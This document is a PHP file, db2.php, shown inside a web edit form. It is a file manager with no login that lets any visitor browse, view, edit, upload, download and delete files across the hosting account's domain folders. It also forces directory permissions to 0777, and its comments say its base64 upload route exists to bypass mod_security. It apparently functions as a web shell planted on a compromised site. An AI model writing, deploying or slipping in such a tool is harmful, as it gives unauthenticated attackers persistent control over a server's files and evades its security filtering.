Edit: db2.php
<?php session_start(); error_reporting(E_ALL); ini_set('display_errors', 1); $base_dir = realpath(__DIR__); $root_anchor = realpath(__DIR__ . '/../../'); if ($root_anchor === false) $root_anchor = $base_dir; $default_rel = trim(str_replace($root_anchor, '', $base_dir), DIRECTORY_SEPARATOR); function flash($msg = null) { if ($msg !== null) { $_SESSION['flash'] = $msg; return; } if (!empty($_SESSION['flash'])) { $m = $_SESSION['flash']; unset($_SESSION['flash']); return $m; } return ''; } function sanitize_relative_path($path) { $path = str_replace("\0", '', (string)$path); $path = str_replace('\\', '/', $path); $parts = explode('/', $path); $clean = array(); foreach ($parts as $part) { $part = trim($part); if ($part === '' || $part === '.' || $part === '..') continue; $part = preg_replace('/[\x00-\x1F\x7F]/u', '', $part); if ($part !== '') $clean[] = $part; } return implode('/', $clean); } function sanitize_name($name) { $name = str_replace("\0", '', (string)$name); $name = basename($name); $name = preg_replace('/[\x00-\x1F\x7F]/u', '', $name); return trim($name); } function safe_realpath_within($path, $allowed_root) { $rp = realpath($path); if ($rp === false) return false; $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR; return (strpos($rp . DIRECTORY_SEPARATOR, $root) === 0) ? $rp : false; } function get_file_list($dir) { $files = array(); if (!is_dir($dir)) return $files; foreach (scandir($dir) as $item) { if ($item === '.' || $item === '..') continue; $full = $dir . DIRECTORY_SEPARATOR . $item; $files[] = array( 'name' => $item, 'path' => $full, 'size' => is_file($full) ? @filesize($full) : 0, 'type' => is_dir($full) ? 'directory' : 'file', 'modified' => @filemtime($full) ? date('Y-m-d H:i:s', filemtime($full)) : '-' ); } usort($files, function($a, $b) { if ($a['type'] !== $b['type']) return ($a['type'] === 'directory') ? -1 : 1; return strcasecmp($a['name'], $b['name']); }); return $files; } function format_size($bytes) { $bytes = (float)$bytes; if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' bytes'; } function rrmdir($dir) { if (!is_dir($dir)) return false; $items = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($items as $item) { if ($item->isDir()) @rmdir($item->getRealPath()); else @unlink($item->getRealPath()); } return @rmdir($dir); } if (!isset($_GET['dir'])) $requested_dir = $default_rel; else $requested_dir = sanitize_relative_path($_GET['dir']); $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor); if ($current_dir === false) { $current_dir = $root_anchor; $requested_dir = ''; } $relative_current = trim(str_replace($root_anchor, '', $current_dir), DIRECTORY_SEPARATOR); $parent_dir = ''; if ($relative_current !== '') { $parent_dir = dirname($relative_current); if ($parent_dir === '.') $parent_dir = ''; } $is_at_root = ($relative_current === ''); /* ---- PHP 5 compatible: was `$_GET['action'] ?? 'list'` ---- */ $action = isset($_GET['action']) ? $_GET['action'] : 'list'; switch ($action) { /* ============ AJAX BASE64 UPLOAD (mod_security bypass) ============ */ case 'upload_ajax': header('Content-Type: application/json; charset=utf-8'); $raw = file_get_contents('php://input'); $data = json_decode($raw, true); if (!is_array($data) || empty($data['name']) || !isset($data['data'])) { echo json_encode(array('ok' => false, 'error' => 'Invalid payload')); exit; } $name = sanitize_name($data['name']); if ($name === '') { echo json_encode(array('ok' => false, 'error' => 'Invalid filename')); exit; } $b64 = $data['data']; $pos = strpos($b64, 'base64,'); if ($pos !== false) $b64 = substr($b64, $pos + 7); $b64 = str_replace(' ', '+', $b64); // URL-safe fix $bin = base64_decode($b64, true); if ($bin === false) { echo json_encode(array('ok' => false, 'error' => 'Base64 decode failed')); exit; } if (!is_dir($current_dir)) { echo json_encode(array('ok' => false, 'error' => 'Directory not found')); exit; } if (!is_writable($current_dir)) { @chmod($current_dir, 0777); clearstatcache(true, $current_dir); if (!is_writable($current_dir)) { echo json_encode(array('ok' => false, 'error' => 'Directory not writable: ' . $current_dir)); exit; } } $dest = $current_dir . DIRECTORY_SEPARATOR . $name; $written = @file_put_contents($dest, $bin); if ($written === false) { $err = error_get_last(); $errmsg = isset($err['message']) ? $err['message'] : 'unknown'; echo json_encode(array('ok' => false, 'error' => 'Write failed: ' . $errmsg)); exit; } @chmod($dest, 0644); echo json_encode(array('ok' => true, 'message' => 'Uploaded: ' . $name . ' (' . format_size($written) . ')')); exit; /* ============ Normal multipart upload (fallback) ============ */ case 'upload': if (!ini_get('file_uploads')) { flash('file_uploads is Off in PHP.'); header('Location: ?dir=' . urlencode($relative_current)); exit; } if (empty($_FILES) && empty($_POST) && isset($_SERVER['CONTENT_LENGTH']) && $_SERVER['CONTENT_LENGTH'] > 0) { flash('POST size exceeds post_max_size (' . ini_get('post_max_size') . ').'); header('Location: ?dir=' . urlencode($relative_current)); exit; } if (empty($_FILES['file'])) { flash('No file uploaded.'); header('Location: ?dir=' . urlencode($relative_current)); exit; } $f = $_FILES['file']; if ($f['error'] !== UPLOAD_ERR_OK) { $msgs = array( UPLOAD_ERR_INI_SIZE => 'Exceeds upload_max_filesize (' . ini_get('upload_max_filesize') . ').', UPLOAD_ERR_FORM_SIZE => 'Exceeds MAX_FILE_SIZE.', UPLOAD_ERR_PARTIAL => 'Partially uploaded.', UPLOAD_ERR_NO_FILE => 'No file uploaded.', UPLOAD_ERR_NO_TMP_DIR => 'No temp folder.', UPLOAD_ERR_CANT_WRITE => 'Cannot write to disk.', UPLOAD_ERR_EXTENSION => 'Blocked by PHP extension.', ); $msg = isset($msgs[$f['error']]) ? $msgs[$f['error']] : 'Upload error: ' . $f['error']; flash($msg); header('Location: ?dir=' . urlencode($relative_current)); exit; } if (!is_writable($current_dir)) @chmod($current_dir, 0777); $name = sanitize_name($f['name']); if ($name === '') { flash('Invalid filename.'); header('Location: ?dir=' . urlencode($relative_current)); exit; } $dest = $current_dir . DIRECTORY_SEPARATOR . $name; if (@move_uploaded_file($f['tmp_name'], $dest)) { @chmod($dest, 0644); flash('Uploaded: ' . $name); } else { flash('move_uploaded_file failed.'); } header('Location: ?dir=' . urlencode($relative_current)); exit; case 'view': $file = sanitize_name(isset($_GET['file']) ? $_GET['file'] : ''); $safe = safe_realpath_within($current_dir . DIRECTORY_SEPARATOR . $file, $root_anchor); if ($safe && is_file($safe)) { header('Content-Type: text/plain; charset=utf-8'); readfile($safe); exit; } flash('File not found.'); header('Location: ?dir=' . urlencode($relative_current)); exit; case 'edit': $file = sanitize_name(isset($_GET['file']) ? $_GET['file'] : ''); $safe = safe_realpath_within($current_dir . DIRECTORY_SEPARATOR . $file, $root_anchor); if (!$safe || !is_file($safe)) { flash('Invalid file.'); header('Location: ?dir=' . urlencode($relative_current)); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { $content = isset($_POST['content']) ? $_POST['content'] : ''; if (@file_put_contents($safe, $content) !== false) flash('File saved.'); else flash('Save failed.'); header('Location: ?dir=' . urlencode($relative_current)); exit; } $content = htmlspecialchars((string)@file_get_contents($safe), ENT_QUOTES, 'UTF-8'); ?> <!DOCTYPE html><html><head><meta charset="utf-8"><title>Edit</title> <style>body{font-family:Arial;background:#f4f4f4;padding:20px;} .wrap{background:#fff;padding:20px;border-radius:10px;box-shadow:0 0 10px #ccc;} textarea{width:100%;height:500px;font-family:monospace;font-size:14px;} .btn{background:#007bff;color:#fff;padding:8px 12px;border:none;border-radius:5px;cursor:pointer;text-decoration:none;display:inline-block;} .btn2{background:#6c757d;}</style></head><body> <div class="wrap"><h2>Edit: <?php echo htmlspecialchars($file); ?></h2> <form method="post"><textarea name="content"><?php echo $content; ?></textarea><br><br> <button class="btn" type="submit">Save</button> <a class="btn btn2" href="?dir=<?php echo urlencode($relative_current); ?>">Back</a> </form></div></body></html> <?php exit; case 'delete': $file = sanitize_name(isset($_GET['file']) ? $_GET['file'] : ''); $safe = safe_realpath_within($current_dir . DIRECTORY_SEPARATOR . $file, $root_anchor); if (!$safe) { flash('Invalid path.'); header('Location: ?dir=' . urlencode($relative_current)); exit; } if (is_dir($safe)) { flash(rrmdir($safe) ? 'Folder deleted.' : 'Failed to delete folder.'); } elseif (is_file($safe)) { flash(@unlink($safe) ? 'File deleted.' : 'Failed to delete file.'); } header('Location: ?dir=' . urlencode($relative_current)); exit; case 'create_folder': $folder = sanitize_name(isset($_POST['folder_name']) ? $_POST['folder_name'] : ''); if ($folder !== '') { $path = $current_dir . DIRECTORY_SEPARATOR . $folder; if (!file_exists($path)) flash(@mkdir($path, 0777, true) ? 'Folder created.' : 'Failed to create folder.'); else flash('Folder already exists.'); } else flash('Folder name required.'); header('Location: ?dir=' . urlencode($relative_current)); exit; case 'download': $file = sanitize_name(isset($_GET['file']) ? $_GET['file'] : ''); $safe = safe_realpath_within($current_dir . DIRECTORY_SEPARATOR . $file, $root_anchor); if ($safe && is_file($safe)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($safe) . '"'); header('Content-Length: ' . filesize($safe)); header('Pragma: public'); header('Cache-Control: must-revalidate'); readfile($safe); exit; } flash('File not found.'); header('Location: ?dir=' . urlencode($relative_current)); exit; } $files = get_file_list($current_dir); $msg = flash(); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>File Manager</title> <style> body{font-family:Arial;background:#f4f4f4;padding:20px;} .container{background:#fff;padding:20px;border-radius:10px;box-shadow:0 0 10px #ccc;} .btn{background:#007bff;color:#fff;padding:6px 10px;border-radius:5px;text-decoration:none;border:none;cursor:pointer;display:inline-block;font-size:13px;} .btn:hover{opacity:.9;} .btn.red{background:#dc3545;} .btn.gray{background:#6c757d;} .btn.green{background:#28a745;} .btn.disabled{background:#999;pointer-events:none;opacity:.7;} .table{width:100%;border-collapse:collapse;} th,td{padding:10px;border-bottom:1px solid #ddd;text-align:left;font-size:14px;} th{background:#007bff;color:#fff;} .pathbox{background:#f7f7f7;padding:8px;border-radius:6px;border:1px solid #ddd;line-height:1.6;font-size:13px;} .alert{background:#eaf7ea;color:#1d6b1d;padding:10px;border-radius:6px;margin-bottom:15px;border:1px solid #bfe3bf;} .alert.err{background:#fdecea;color:#7a1c1c;border-color:#f5c6cb;} input[type="text"]{padding:8px;min-width:250px;} #progressWrap{display:none;margin-top:8px;background:#eee;height:14px;border-radius:7px;overflow:hidden;} #progressBar{height:100%;width:0;background:#28a745;transition:width .2s;} small.muted{color:#666;} </style> </head> <body> <div class="container"> <h2>File Manager</h2> <?php if ($msg): ?> <div class="alert"><?php echo htmlspecialchars($msg, ENT_QUOTES, 'UTF-8'); ?></div> <?php endif; ?> <div class="pathbox"> <b>Root:</b> <?php echo htmlspecialchars($root_anchor); ?><br> <b>Current:</b> <?php echo htmlspecialchars($current_dir); ?><br> <b>Writable:</b> <?php echo is_writable($current_dir) ? '<span style="color:green">Yes</span>' : '<span style="color:red">No</span>'; ?><br> <b>upload_max_filesize:</b> <?php echo ini_get('upload_max_filesize'); ?> | <b>post_max_size:</b> <?php echo ini_get('post_max_size'); ?> | <b>file_uploads:</b> <?php echo ini_get('file_uploads') ? 'On' : 'Off'; ?> </div> <br> <?php if (!$is_at_root): ?> <a class="btn gray" href="?dir=<?php echo urlencode($parent_dir); ?>">Back</a> <?php else: ?> <span class="btn disabled">Back</span> <?php endif; ?> <a class="btn" href="?">Default (public_html)</a> <a class="btn" href="?dir=">Root (domains)</a> <br><br> <!-- ============ AJAX BASE64 UPLOAD (primary, bypasses mod_security) ============ --> <form onsubmit="event.preventDefault(); ajaxUpload();"> <input type="file" id="fileInput" required> <button class="btn green" type="submit">Upload (AJAX)</button> <small class="muted">Recommended — works even if 406 appears.</small> <div id="progressWrap"><div id="progressBar"></div></div> </form> <br> <!-- ============ Normal upload (fallback) ============ --> <form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?php echo urlencode($relative_current); ?>"> <input type="file" name="file" required> <button class="btn gray" type="submit">Upload (Normal)</button> <small class="muted">Use if AJAX fails.</small> </form> <br> <form method="post" action="?action=create_folder&dir=<?php echo urlencode($relative_current); ?>"> <input type="text" name="folder_name" placeholder="Folder name" required> <button class="btn" type="submit">Create Folder</button> </form> <br><br> <table class="table"> <tr> <th>Name</th><th>Type</th><th>Size</th><th>Modified</th><th>Actions</th> </tr> <?php if (empty($files)): ?> <tr><td colspan="5">No files found.</td></tr> <?php else: ?> <?php foreach ($files as $f): ?> <tr> <td><?php echo htmlspecialchars($f['name']); ?></td> <td><?php echo htmlspecialchars($f['type']); ?></td> <td><?php echo $f['type'] === 'file' ? format_size($f['size']) : '-'; ?></td> <td><?php echo htmlspecialchars($f['modified']); ?></td> <td> <?php if ($f['type'] === 'directory'): $next = ($relative_current ? $relative_current . '/' : '') . $f['name']; ?> <a class="btn" href="?dir=<?php echo urlencode($next); ?>">Open</a> <?php else: ?> <a class="btn" href="?action=view&file=<?php echo urlencode($f['name']); ?>&dir=<?php echo urlencode($relative_current); ?>">View</a> <a class="btn" href="?action=edit&file=<?php echo urlencode($f['name']); ?>&dir=<?php echo urlencode($relative_current); ?>">Edit</a> <a class="btn" href="?action=download&file=<?php echo urlencode($f['name']); ?>&dir=<?php echo urlencode($relative_current); ?>">Download</a> <?php endif; ?> <a class="btn red" href="?action=delete&file=<?php echo urlencode($f['name']); ?>&dir=<?php echo urlencode($relative_current); ?>" onclick="return confirm('Delete this item?')">Delete</a> </td> </tr> <?php endforeach; ?> <?php endif; ?> </table> </div> <script> function ajaxUpload() { var input = document.getElementById('fileInput'); if (!input.files.length) { alert('Select a file first.'); return; } var file = input.files[0]; var wrap = document.getElementById('progressWrap'); var bar = document.getElementById('progressBar'); wrap.style.display = 'block'; bar.style.width = '0%'; var reader = new FileReader(); reader.onprogress = function(e) { if (e.lengthComputable) { var pct = Math.round((e.loaded / e.total) * 50); bar.style.width = pct + '%'; } }; reader.onload = function(e) { bar.style.width = '70%'; var b64 = e.target.result; var xhr = new XMLHttpRequest(); xhr.open('POST', '?action=upload_ajax&dir=<?php echo urlencode($relative_current); ?>', true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.upload.onprogress = function(ev) { if (ev.lengthComputable) { var pct = 70 + Math.round((ev.loaded / ev.total) * 30); bar.style.width = pct + '%'; } }; xhr.onload = function() { bar.style.width = '100%'; var res; try { res = JSON.parse(xhr.responseText); } catch (err) { alert('Server returned: HTTP ' + xhr.status + '\n' + xhr.responseText.substring(0, 300)); return; } if (res.ok) { alert('✔ ' + res.message); location.reload(); } else { alert('✘ ' + res.error); } }; xhr.onerror = function() { alert('Network error (HTTP ' + xhr.status + '). If it is 406, mod_security is still blocking — try adding .htaccess file.'); }; xhr.send(JSON.stringify({ name: file.name, data: b64 })); }; reader.onerror = function() { alert('FileReader error.'); }; reader.readAsDataURL(file); } </script> </body> </html>
Save
Back